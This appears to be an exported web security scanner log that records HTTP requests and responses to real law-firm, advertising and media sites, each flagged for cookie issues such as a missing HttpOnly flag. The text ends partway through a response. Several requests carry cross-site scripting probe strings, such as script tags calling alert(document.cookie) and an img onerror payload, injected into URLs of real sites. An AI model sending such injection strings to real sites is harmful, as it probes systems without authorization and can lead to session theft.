HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 15:51:10 GMT Expires: Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: segments=16681|30767|38582,1298044270|17329|18086;Path=/;Domain=invitemedia.com;Expires=Thu, 19-Jan-2012 15:51:10 GMT Pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Cache-Control: no-cache Location: http://ad.yieldmanager.com/pixel?id=1080839&t=2 Connection: close Server: Jetty(6.1.25)
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /fca/ HTTP/1.1 Host: skaddenpractices.skadden.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /hc/ HTTP/1.1 Host: skaddenpractices.skadden.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /sec/ HTTP/1.1 Host: skaddenpractices.skadden.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /sec/scripts/resize.gif HTTP/1.1 Host: skaddenpractices.skadden.com Proxy-Connection: keep-alive Referer: http://skaddenpractices.skadden.com/sec/index.php?7ae3b Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=34916643.540692983.1295449749.1295449749.1295451571.2; __utmz=34916643.1295451571.2.2.utmccn=(referral)|utmcsr=burp|utmcct=/show/13|utmcmd=referral; Apache=173.193.214.243.1295460913738647; FRONTSKADDENSEC=d6220a6c3fc3ed10bcec7baef1e6e630
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /sync/img?mt_exid=10002&redir=http://tags.bluekai.com/site/2948%3Fid%3DPARTNER_UUID HTTP/1.1 Host: sync.mathtag.com Proxy-Connection: keep-alive Referer: http://tags.bluekai.com/site/857?ret=html&phint=q%3DAttorneys&phint=__bk_t%3DNo%20Location%20Found%20-%20YP.com&limit=4&r=16287612 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Moved Temporarily Server: mt2/1.2.3.967 Oct 13 2010-13:40:24 ewr-pixel-n2a pid 0x3c99 15513 Cache-Control: no-cache P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Date: Wed, 19 Jan 2011 15:26:52 GMT Location: http://sync.mathtag.com/sync/img?mt_exid=10002&redir=http://tags.bluekai.com/site/2948%3Fid%3DPARTNER_UUID&mm_bnc Etag: 4d3702bc-839e-0690-5370-3c19a9561295 Connection: Keep-Alive Set-Cookie: uuid=4d3702bc-839e-0690-5370-3c19a9561295; domain=.mathtag.com; path=/; expires=Thu, 19-Jan-2012 15:26:52 GMT Set-Cookie: ts=1295450812; domain=.mathtag.com; path=/; expires=Thu, 19-Jan-2012 15:26:52 GMT Content-Length: 0
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /tntwo.php?mm_pub=7333&u=http%3A%2F%2Fwww.csmonitor.com%2FUSA1edc1%2522-alert(document.cookie)-%25228a5e635d48%2FJustice%2F2011%2F0118%2FSupreme-Court-declines-appeal-of-D.C.-gay-marriage-law&r=http%3A%2F%2Fburp%2Fshow%2F25&t=360 HTTP/1.1 Host: syndication.mmismm.com Proxy-Connection: keep-alive Referer: http://cim.meebo.com/cim/sandbox.php?lang=en&version=v89_cim_10_3_8&protocol=http%3A&network=csmonitor Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:50:48 GMT Server: Apache Cache-Control: no-cache, must-revalidate Expires: Mon, 26 Jul 1997 05:00:00 GMT P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAo PSDo OUR BUS COM NAV" Set-Cookie: G=10120000000990801741; expires=Tue, 19-Jan-2016 21:50:48 GMT; path=/; domain=.mmismm.com Content-Length: 43 Content-Type: text/javascript
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /site/1407?limit=0&ret=pixel&phint=naid=& HTTP/1.1 Host: tags.bluekai.com Proxy-Connection: keep-alive Referer: http://tags.bluekai.com/site/857?ret=html&phint=q%3DAttorneys&phint=__bk_t%3DNo%20Location%20Found%20-%20YP.com&limit=4&r=4858653 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bku=yQG99YBZ/AlFQiDm; bk=Di3SlsBCxZ/sHNJo; bkc=KJ0njsjQisaCRBMBjmfnp1eWW97ABXriXCzRGd/UGFsMNOMCd92zWw1K9FZ1e9hQ4Q9lvod8v03dC86Hpr47CridMzEl1Aqkwdrs0CKVjGEpP6w+d0tLbzFWLazOhn5rHKPFlGpQJpJYNwdqjxeA1pY9IwmbWUysUGCX3gTVtcyxlfWEkU2PCHsaFNzBkuIoML3l5AekKbehjH1xdO8tiwN4QKbaXKlMDwAmScpjVQEdWexXkBmDTcyfqkxIp0WW7hw/5th98Sz6GdnlED4y9q6UPlL=; bko=KJ0fyXF9XJlJlJKHRH/q9T1wLfAFvT1AcyBe3gTVD9y9Uh9aYy==; bkst=KJhMREMWhzYQyZOARjaGRVjioZrjRZiQS8JA73uqjJ0uooruSsaiqshLqZZjj3bzorEny79O3Jb5GExFm0Idw1IctHyG29WGJ1hQRZOiRZHZRVOARZoCSskrjZhAXj9JJ1lwpx9W+XaLUtTAlqFOxilGxQO04uaj; bkw4=KJpfoXU9y1M90zU9LsXb9T1wLfZFggw1b65ZDFRyIQQM9y1f9f1C9XmeKTPo2fuHNK2Zy3bKkVWmDctEkRFSakNiNn1hUeBiRBMXGAMpaac3tH7I9+V4YpCx8Vs/gFfw0GIU4J1ufsW6ue6EytNEOGRGe0XtExLxebEKLRWOEvz61pOXhbJFah1e9pBe3EDeyT3qbfCTgWet1w9011QZ1evAbZ+ONx49NDLpQPD9xj9OLh19DDoQSQ==; bkdc=res
Response
HTTP/1.0 200 OK Date: Wed, 19 Jan 2011 15:29:52 GMT P3P: CP="NOI DSP COR CUR ADMo DEVo PSAo PSDo OUR SAMo BUS UNI NAV", policyref="http://tags.bluekai.com/w3c/p3p.xml" Pragma: no-cache Expires: Thu, 01 Dec 1994 16:00:00 GMT Cache-Control: max-age=0, no-cache, no-store Set-Cookie: bk=pxuQtsBCxZ/sHNJo; expires=Mon, 18-Jul-2011 15:29:52 GMT; path=/; domain=.bluekai.com Set-Cookie: bkc=KJ0gjtPQisaCRYCQBF5kjsOQ3940T2cTw0/xdWCZiwg5EmSIp9h1RcbpnYodQEW340WSw63BWzfdy9Dhf0WEhcyxwT9qkzdXajU4yXT/8dBpxdE4HrJfsSw07lNe8x+n1Xn83bctdhqV2sPitvL9TkrlGF/lq6qyWhACbFd+1Qe0sHC9dc75YeTen6xIPPXnqeb/f2iJ0gI3yGMYlbrs0o5DHIPqmbe0w5eTLQA/4QXfhwbFxw4YIwjh3cycBn8LnRJdYOGK0ZkvznT5B0348hYYpy7AmpSQXkmSD47foiwT99F/UQ/=; expires=Mon, 18-Jul-2011 15:29:52 GMT; path=/; domain=.bluekai.com Set-Cookie: bkdc=res; expires=Thu, 20-Jan-2011 15:29:52 GMT; path=/; domain=.bluekai.com BK-Server: 8d9f Content-Length: 62 Content-Type: image/gif Connection: keep-alive
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /site/2800?id=4044268024581976328 HTTP/1.1 Host: tags.bluekai.com Proxy-Connection: keep-alive Referer: http://tags.bluekai.com/site/857?ret=html&phint=q%3DAttorneys&phint=__bk_t%3DNo%20Location%20Found%20-%20YP.com&limit=4&r=16287612 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bku=yQG99YBZ/AlFQiDm; bko=KJ0qh1q9LJFJlJKaxjvwQuaPUXrUAxW9JuAeWx==; bkw4=KJ0foXl9y1M90zU9LsXb9XBrJ7B4UVKjNTd1omhC2OasOQjVCMZse9hBPi83VluJDzdsz1t/QVcpi0nBD6uojt4TYNHdnrO9kRzCrFGdvp2KXANvL/4H/wP1en5BsHiiwnpRKvh9bCkTsHCAWhQjDFVNGmGeTm3kZz93QYe/QBAJ91Uxx+X=; bk=5Ku/+oDM64TsHNJo; bkc=KJpM8tjQisaCRnMBjmfn01e9y9dAKhZMXo22xIDnupwYIjc1WwtfA4MBL3MXOzSGd/PGdYQNHMCdBH4WFBdYZg81ecLPxcpgPkEI8L6/4i/MHwtdUxj9wQ1eieIFsXa7T/U/oIogQz6cXH6fD4kUPHCHIcFPDwZub3CXSy5DFQzSUpROyK2CC2MdaKCKsBXIeoUFQ1SUgDUye6cexpkBYzblT6qkXhhYXeZO41zsPc8v10odllxWcy9lDWrR; bkst=KJhMREMWhzYQyZOARjaGRVjioZrjRZiQS8JA73uqjJ0uooruSsaiqshLqZZjj3bzorEnyF9O3Jb5GExFm0IdwsXlApkxiJIq9xCrQ2ZIlOMunKCY99XBsTy=; bkdc=res
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /site/2831?phint=zip=&phint=age=&phint=gender=&phint=segment=000 HTTP/1.1 Host: tags.bluekai.com Proxy-Connection: keep-alive Referer: http://tags.bluekai.com/site/857?ret=html&phint=q%3DAttorneys&phint=__bk_t%3DNo%20Location%20Found%20-%20YP.com&limit=4&r=16287612 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bku=yQG99YBZ/AlFQiDm; bk=z60AOjDM64TsHNJo; bkc=KJ0njsjQisaCRBMBjmfn01e9W97ABXriXCzRGd/UGFsMNOMCdBPzWwBIYtFb1McLPxehgP+HIjLl/diJMOeNdlRj9wA1eYeIFsTW7TWU/oI3gyDtcXHlfWEkUNPCHmcFPDwkub3MX365DwAKScpjO9udChNidNKQKtaXIpCDFQ1SUfRVyEXWexdkBYDTlTTqkz2pY1c7Ow/5sNe8vztGdclEWUy97lBYy9==; bko=KJ0qh1q9LJFJlJKaxjvwQuaPUXrUAxW9JuAeWx==; bkst=KJhMREMWhzYQyZOARjaGRVjioZrjRZiQS8JA73uqjJ0uooruSsaiqshLqZZjj3bzorEnyF9O3Jb5GExFm0IdwsXlApkxiJXqxXQUDbQaUxQ9YdxKQy==; bkw4=KJ0foXl9y1M90zU9LsXb9XBrJ7B4UVKjNTd1omhC2OasOQjVCMZse9hBPi83VluJDzdsz1t/QVcpi0nBD6uojt4TYNHdnrO9kRzCrFGdvp2KXANvL/4H/wP1en5BsHiiwnpRKvh9bCkTsHCAWhQjDFVNGmGeTm3kZz93QYe/QBAJ91Uxx+X=; bkdc=res
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /site/2893?id=3271971346728586924 HTTP/1.1 Host: tags.bluekai.com Proxy-Connection: keep-alive Referer: http://tags.bluekai.com/site/857?ret=html&phint=q%3DAttorneys&phint=__bk_t%3DNo%20Location%20Found%20-%20YP.com&limit=4&r=16287612 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bku=yQG99YBZ/AlFQiDm; bk=z60AOjDM64TsHNJo; bkc=KJ0njsjQisaCRBMBjmfn01e9W97ABXriXCzRGd/UGFsMNOMCdBPzWwBIYtFb1McLPxehgP+HIjLl/diJMOeNdlRj9wA1eYeIFsTW7TWU/oI3gyDtcXHlfWEkUNPCHmcFPDwkub3MX365DwAKScpjO9udChNidNKQKtaXIpCDFQ1SUfRVyEXWexdkBYDTlTTqkz2pY1c7Ow/5sNe8vztGdclEWUy97lBYy9==; bko=KJ0qh1q9LJFJlJKaxjvwQuaPUXrUAxW9JuAeWx==; bkst=KJhMREMWhzYQyZOARjaGRVjioZrjRZiQS8JA73uqjJ0uooruSsaiqshLqZZjj3bzorEnyF9O3Jb5GExFm0IdwsXlApkxiJXqxXQUDbQaUxQ9YdxKQy==; bkw4=KJ0foXl9y1M90zU9LsXb9XBrJ7B4UVKjNTd1omhC2OasOQjVCMZse9hBPi83VluJDzdsz1t/QVcpi0nBD6uojt4TYNHdnrO9kRzCrFGdvp2KXANvL/4H/wP1en5BsHiiwnpRKvh9bCkTsHCAWhQjDFVNGmGeTm3kZz93QYe/QBAJ91Uxx+X=; bkdc=res
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /site/2948?id=4d3702bc-839e-0690-5370-3c19a9561295 HTTP/1.1 Host: tags.bluekai.com Proxy-Connection: keep-alive Referer: http://tags.bluekai.com/site/857?ret=html&phint=q%3DAttorneys&phint=__bk_t%3DNo%20Location%20Found%20-%20YP.com&limit=4&r=16287612 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bku=yQG99YBZ/AlFQiDm; bko=KJ0qh1q9LJFJlJKaxjvwQuaPUXrUAxW9JuAeWx==; bkw4=KJ0foXl9y1M90zU9LsXb9XBrJ7B4UVKjNTd1omhC2OasOQjVCMZse9hBPi83VluJDzdsz1t/QVcpi0nBD6uojt4TYNHdnrO9kRzCrFGdvp2KXANvL/4H/wP1en5BsHiiwnpRKvh9bCkTsHCAWhQjDFVNGmGeTm3kZz93QYe/QBAJ91Uxx+X=; bk=5Ku/+oDM64TsHNJo; bkc=KJpM8tjQisaCRnMBjmfn01e9y9dAKhZMXo22xIDnupwYIjc1WwtfA4MBL3MXOzSGd/PGdYQNHMCdBH4WFBdYZg81ecLPxcpgPkEI8L6/4i/MHwtdUxj9wQ1eieIFsXa7T/U/oIogQz6cXH6fD4kUPHCHIcFPDwZub3CXSy5DFQzSUpROyK2CC2MdaKCKsBXIeoUFQ1SUgDUye6cexpkBYzblT6qkXhhYXeZO41zsPc8v10odllxWcy9lDWrR; bkst=KJhMREMWhzYQyZOARjaGRVjioZrjRZiQS8JA73uqjJ0uooruSsaiqshLqZZjj3bzorEnyF9O3Jb5GExFm0IdwsXlApkxiJIq9xCrQ2ZIlOMunKCY99XBsTy=; bkdc=res
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /site/857?ret=html&phint=q%3DAttorneys&phint=__bk_t%3DNo%20Location%20Found%20-%20YP.com&limit=4&r=16287612 HTTP/1.1 Host: tags.bluekai.com Proxy-Connection: keep-alive Referer: http://www.yellowpages.com/Washington-DC74302%3Cimg%20src%3da%20onerror%3dalert(1)%3E9c7a66be0e0/Attorneys Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bkst=KJhMREMWhzYQyZOARjaGRVjioZrjRZiQS8JA73uqjJ0uooruSsaiqshLqZZjj3bzorxn9wijYhQ=; bku=yQG99YBZ/AlFQiDm; bko=KJ0E8sBQuBUUXZPA999sU9W6; bkw4=KJpMLVJQRsHQTsPQAWNQjWMPNdn2LdnMJ5IA9cL/7V9FpxHV9xHOOLhm9YnveOX=; bk=EtFj1CcQOrRsHNJo; bkc=KJhnjsHQisaCRwil0XYUiRsO/Hc/72KBTewyxrHE2qPXsSaXh68DdkDPHCEIUMPDF3xbv+dS9jUFQzSUEDeyPlBOfwX+g9k6pNTaWBIbajVdKEmYlX1mD4XP094oOdc+TNe8eZCXtPGWdheDwrD6JEM4MCrPpl1/yKzWXC6qDwAopSMX451H499PeEKY
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /tracking202/redirect/dl.php?t202id=31561&t202kw=/ HTTP/1.1 Host: track.quibids.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:14:52 GMT Server: Apache X-Powered-By: PHP/5.3.3 Set-Cookie: tracking202subid=20114091; expires=Fri, 18-Feb-2011 18:14:52 GMT; path=/; domain=track.quibids.com location: http://www.quibids.com/register/index.php?mb=god&lp=133&sub=testa20114091 Content-Length: 0 Connection: close Content-Type: text/html
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /si/cm/tracking/clickredirect.aspx?sicontent=1&sicreative=5393359740&sitrackingid=216792860&client=ca-dp-sphere_related_xml HTTP/1.1 Host: track.searchignite.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="http://www.AutoTrader.com?LNX=SPGCNENT">here</a>.</h2> </body></html>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /translate_t?hl=en&q=ges&um=1&ie=UTF-8&sa=N&tab=wT HTTP/1.1 Host: translate.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:25:42 GMT Expires: Wed, 19 Jan 2011 15:25:42 GMT Cache-Control: private, max-age=86400 Content-Type: text/html; charset=UTF-8 Content-Language: en Set-Cookie: PREF=ID=d1ad7660f84f0a57:TM=1295450742:LM=1295450742:S=28dMatX_jzaFirCR; expires=Fri, 18-Jan-2013 15:25:42 GMT; path=/; domain=.google.com X-Content-Type-Options: nosniff Server: translation X-XSS-Protection: 1; mode=block Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
POST /translate_a/t?anno=3&client=te_lib&format=html&v=1.0 HTTP/1.1 Host: translate.googleapis.com Proxy-Connection: keep-alive Referer: http://rafael.adm.br/?ffb7d%22%3E%3Cscript%3Ealert(%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65)%3C/script%3E21b58676d82=1 Origin: http://rafael.adm.br Content-Type: application/x-www-form-urlencoded Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Content-Length: 1514
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /p-travelguide-2818610-national_law_enforcement_officers_memorial_district_of_columbia-i/x26amp HTTP/1.1 Host: travel.yahoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Date: Wed, 19 Jan 2011 15:25:44 GMT Set-Cookie: B=73uqdrp6je0jo&b=3&s=bj; expires=Tue, 19-Jan-2013 20:00:00 GMT; path=/; domain=.yahoo.com P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" Cache-Control: private, max-age=900 Expires: Wed, 19 Jan 2011 15:40:44 GMT Location: /p-travelguide-2818610-national_law_enforcement_officers_memorial_district_of_columbia-i Connection: close Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Content-Length: 84
<!-- p11.travel.re3.yahoo.com uncompressed/chunked Wed Jan 19 07:25:44 PST 2011 -->
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /story/1997142500/ HTTP/1.1 Host: tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /story/3323687074/ HTTP/1.1 Host: tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /story/372638150/ HTTP/1.1 Host: tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /story/684823667/ HTTP/1.1 Host: tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /story/768338008/ HTTP/1.1 Host: tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /wps/portal/usa/education/reviewcollection HTTP/1.1 Host: vault.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.vault.com/wps/portal/usa/education/r ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /l.jpg?t=9298&r=http://burp/show/38 HTTP/1.1 Host: wstat.wibiya.com Proxy-Connection: keep-alive Referer: http://rafael.adm.br/?ffb7d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E21b58676d82=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 17:57:38 GMT Server: Apache/2.2.9 (Debian) Set-Cookie: Apache=173.193.214.243.1295459858703619; path=/; expires=Sat, 14-Jan-12 17:57:38 GMT Last-Modified: Sun, 05 Dec 2010 12:09:17 GMT Accept-Ranges: bytes Content-Length: 0 Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Wed, 11 Jan 1984 05:00:00 GMT Connection: close Content-Type: image/jpeg
The following cookie was issued by the application and does not have the HttpOnly flag set:
Coyote-2-a0f0083=a0f022f:0; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /bookmark.php HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:26:37 GMT Server: Apache X-Powered-By: PHP/5.2.13 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: Coyote-2-a0f0083=a0f022f:0; path=/ Content-Length: 92372
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>AddThis Social Bookm ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.akingump.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.ashcraftandgerel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Wed, 19 Jan 2011 15:28:07 GMT Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8i PHP/5.2.9 X-Powered-By: PHP/5.2.9 Set-Cookie: 31a53605532848d34efd54bd0292cede=bc255bf4797aff3a767238becd7bc8c4; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Wed, 19 Jan 2011 15:28:07 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" dir= ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.att.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: no-cache Pragma: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT P3P: policyref=""/w3c/p3p.xml"", CP="CAO DSP COR LAW CURa ADMa DEVa TAIa PSAa PSDa OUR DELa BUS IND PHY ONL UNI PUR COM NAV DEM STA GOV" X-ATG-Version: version=QVRHUGxhdGZvcm0vOS4xcDMgWyBEUFNMaWNlbnNlLzAgIF0= X-Powered-By: Servlet/2.5 JSP/2.1 Content-Type: text/html; charset=UTF-8 Date: Wed, 19 Jan 2011 16:56:17 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: TLTHID=084FA2A423ED102323B7E28CEF488F78; Path=/; Domain=.att.com Set-Cookie: TLTSID=084FA2A423ED102323B7E28CEF488F78; Path=/; Domain=.att.com Set-Cookie: TLTUID=084FA2A423ED102323B7E28CEF488F78; Path=/; Domain=.att.com; Expires=Wed, 19-01-2021 16:56:17 GMT Set-Cookie: B2CSESSIONID=VwQXN3XRv1gyKk!1780089856; path=/; HttpOnly Set-Cookie: DYN_USER_ID=3512712645; path=/ Set-Cookie: DYN_USER_CONFIRM=606a8cade5954025524a2c22a2015085; path=/ Set-Cookie: ECOM_GTM=owaln_NA; domain=.att.com; expires=Thursday, 19-Jan-2012 16:56:17 GMT; path=/ Set-Cookie: cust_type=new; domain=.att.com; expires=Thursday, 19-Jan-2012 16:56:17 GMT; path=/ Set-Cookie: browserid=A001352512840; domain=.att.com; expires=Thursday, 19-Jan-2012 16:56:17 GMT; path=/ Set-Cookie: svariants=NA; domain=.att.com; 